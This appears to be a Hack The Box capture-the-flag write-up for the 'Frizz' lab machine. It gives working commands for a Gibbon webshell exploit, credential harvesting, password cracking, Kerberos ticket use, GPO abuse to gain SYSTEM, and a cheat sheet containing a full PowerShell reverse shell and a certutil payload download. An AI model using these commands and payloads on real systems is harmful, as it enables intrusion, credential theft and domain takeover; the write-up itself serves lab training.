The Frizz - Hack The Box
🚨 Follow the HTB grind in real-time — leaks, drops, and deep writeups
👉 t.me/nosecpwn
Don't read. Join.
Platform: Windows
IP: 10.10.11.60
Recon
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-title: Education — Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
57649/tcp open msrpc Microsoft Windows RPC
57653/tcp open msrpc Microsoft Windows RPC
57663/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o\:microsoft\:windows
SMB + clock-skew
- SMB time/clock-skew: +6h59m (időszinkron kell Kerberoshoz!)
DIRBUSTER / GOBUSTER
gobuster dir -u http://frizzdc.frizz.htb -w /usr/share/wordlists/dirb/common.txt
/.htaccess (403)
/.htpasswd (403)
... stb.
/Home (301) → http://frizzdc.frizz.htb/Home/
/home (301) → http://frizzdc.frizz.htb/home/
Web Application Recon / Initial Foothold
**Identified app: GIBBON 25.0.0 (open-source school management system)
- Google: there’s a known CVE, relevant exploit: CVE-2023-45878
- Exploit: Upload reverse shell via webshell
Running the exploit script:
bash CVE-2023-45878.sh 10.10.14.52 4444 10.10.11.60:80
- Uploads the shell
- Opens: http://10.10.11.60:80/Gibbon-LMS/gibbon_myconfig.php?cmd=whoami
- Start a Netcat/Metasploit listener: 'nc -lnvp 4444' or handler
Result: basic reverse shell (command prompt)
First user / credential hunting
Found file: config.php → MySQL user/pass**
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parr*****';
Login in MySQL:
C:\xampp\mysql\bin> .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parr*****" -e "show databases;"
- Main DB:
gibbon
- User table:
gibbonperson
Identified user:
- username: f.frizzle
- password hash + salt
Password cracking (John):
john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt fizz.txt
- Result: Jenni_Luvs_*
Kerberos TGT & User escalation
Time synchronization (important!):
sudo rdate -n frizzdc.frizz.htb
Getting TGT:
impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_*****' -dc-ip frizzdc.frizz.htb
export KRB5CCNAME=f.frizzle.ccache
SSH login:
ssh f.frizzle@10.10.11.60 -K
- Obtaining user.txt
Further privesc – backup file / second user
File: wapt-backup-sunday.7z
(f.frizzle Desktop)
- Downloaded via meterpreter or plain HTTP
- Internal password extracted, revealing another AD user: M.SchoolBus / !suBc
Getting TGT for new user:
impacket-getTGT frizz.htb/'M.SchoolBus':'!suBc*****' -dc-ip frizzdc.frizz.htb
export KRB5CCNAME=M.SchoolBus.ccache
SSH login:
ssh M.SchoolBus@10.10.11.60 -K
Privesc: GPO abuse to gain SYSTEM privileges
Creating GPO + GPO abuse
Create a new GPO:
New-GPO -Name GPO-new | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes
Check applied GPOs:
get-GPO -All
Make yourself admin (SharpGPOAbuse):
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName GPO-new --force
- Wait or run gpupdate /force on the target machine
Verify admin rights:
net localgroup administrators
Gaining SYSTEM / root shell with RunasCs
Build the RunasCs executable yourself (see the full process in the notes section)
Reverse shell payload (PowerShell):
.\RunasCs.exe 'M.schoolbus' '!suBc*****' powershell.exe -r 10.10.14.52:4444
- Netcat listener:
nc -lvnp 4444
- If you need a meterpreter shell, create a payload using msfvenom and launch it with RunasCs
Obtain root.txt:
type C:\Users\Administrator\Desktop\root.txt
Bonus: Custom RunasCs.exe build on Windows (quick workflow)
- Download the source: https://github.com/antonioCoco/RunasCs
- On Windows, install Visual Studio Build Tools (only .NET build is needed)
- Open the "Developer Command Prompt for VS"
- Navigate to the RunasCs folder, then:
cmd msbuild /p:Configuration=Release
- The exe will be located here:
bin\Release\RunasCs.exe
- Copy it to a USB stick or upload to a private GitHub repo, then download from Linux
My notes and takeaways (casual style):
- Struggled hard with the shell: meterpreter session kept dying, but netcat was reliable
- Everything depends on GPO refresh: admin chain only takes effect after refresh
- Building RunasCs on Windows is a must (no trusted prebuild, always build it yourself)
- PowerShell reverse shell with netcat is more stable than meterpreter
- Pro workflow: always try multiple shell types, not just msfconsole!
- Patience game: 6+ hours, but every minute taught something (privesc, chaining, build, Windows internals)
Summary / Lessons Learned
- Always check all user directories (desktop, backup, config)
- Gibbon CVE = easy foothold, but AD privesc is not trivial
- Hash + salt, John, tickets = full AD attack chain
- GPO abuse is key, but refresh and correct OU selection are critical
- If meterpreter doesn't survive, plain PowerShell or netcat shell can still get you SYSTEM
- Building your own tools, moving files, time sync: these are just as important as the “attack” itself
Related commands, cheat-sheet
Hash cracking
john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt fizz.txt
Kerberos ticket retrieval
impacket-getTGT frizz.htb/<user>:<pass> -dc-ip frizzdc.frizz.htb
export KRB5CCNAME=<user>.ccache
Check for admin privileges
net localgroup administrators
GPO quick refresh
gpupdate /force
Shell download with certutil
certutil -urlcache -split -f "http://<ip>:<port>/RunasCs.exe" RunasCs.exe
Reverse shell command (PowerShell)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
That was the Frizz box! Thanks for grinding through it!
Nice chain, lots of pain, but even more learning! 🚀